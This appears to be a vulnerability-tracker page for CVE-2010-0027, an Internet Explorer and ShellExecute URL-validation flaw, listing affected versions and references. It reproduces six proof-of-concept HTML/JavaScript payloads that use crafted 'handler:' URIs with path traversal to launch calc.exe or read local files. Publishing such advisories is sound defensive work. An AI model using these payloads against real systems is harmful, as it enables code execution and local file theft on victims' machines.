CVE-2010-0027
critical
CVSS v3
—
CVSS v4 NEW
—
VIR risk
10.0
Description
The URL validation functionality in Microsoft Internet Explorer 5.01, 6, 6 SP1, 7 and 8, and the ShellExecute API function in Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2, does not properly process input parameters, which allows remote attackers to execute arbitrary local programs via a crafted URL, aka "URL Validation Vulnerability."
Predictions
Exploit likelihood
20%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Internet Explorer 8 - URI Validation Remote Code Execution
source: https://www.securityfocus.com/bid/37884/info
Microsoft Internet Explorer is prone to a remote code-execution vulnerability.
Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer.
NOTE: Reports indicate that the issue can also be exploited via other applications that use the 'ShellExecute()' API.
############# PoC one #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>
############## PoC Two #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>
############# PoC Three ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>
############# PoC four ##############
<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);
content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>
<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>
</body>
</html>
########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(’GET’,
‘handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms’,
true);
req.send(”);
############### PoC six #############
<html><body><div>
<script>
function getHTTPObject()
{
if (typeof XMLHttpRequest != 'undefined')
{
return new XMLHttpRequest();
}
try {
return new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try
{
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
return false;
}
x = getHTTPObject();
x.open("GET","shit:shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms",false);
x.send(null);
alert(x.responseText);
</script>
</div></body></html>OS impact
Windows Affected 2 releases
| Version | Status | Fixed in |
|---|---|---|
| - | Affected | — |
| — | Affected | — |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | internet_explorer | 8.0.6001 | |
| microsoft | internet_explorer | 7.00.6000.16441 | |
| microsoft | internet_explorer | 6 | |
| microsoft | internet_explorer | 8 | |
| microsoft | internet_explorer | 7 | |
| microsoft | internet_explorer | 7.0 | |
| microsoft | internet_explorer | 7.0.5730.11 | |
| microsoft | internet_explorer | 7.00.5730.1100 | |
| microsoft | internet_explorer | 7.0.5730 | |
| microsoft | internet_explorer | 5.01 | |
| microsoft | internet_explorer | 7.00.6000.16386 | |
References
- http://www.securityfocus.com/archive/1/509470/100/0/threaded
- http://www.us-cert.gov/cas/techalerts/TA10-040A.html
- http://www.zerodayinitiative.com/advisories/ZDI-10-016/
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-002
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-007
- https://exchange.xforce.ibmcloud.com/vulnerabilities/55773
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8464
- http://www.securityfocus.com/archive/1/509470/100/0/threaded
- http://www.us-cert.gov/cas/techalerts/TA10-040A.html
- http://www.zerodayinitiative.com/advisories/ZDI-10-016/
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-002
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-007
- https://exchange.xforce.ibmcloud.com/vulnerabilities/55773
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8464
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.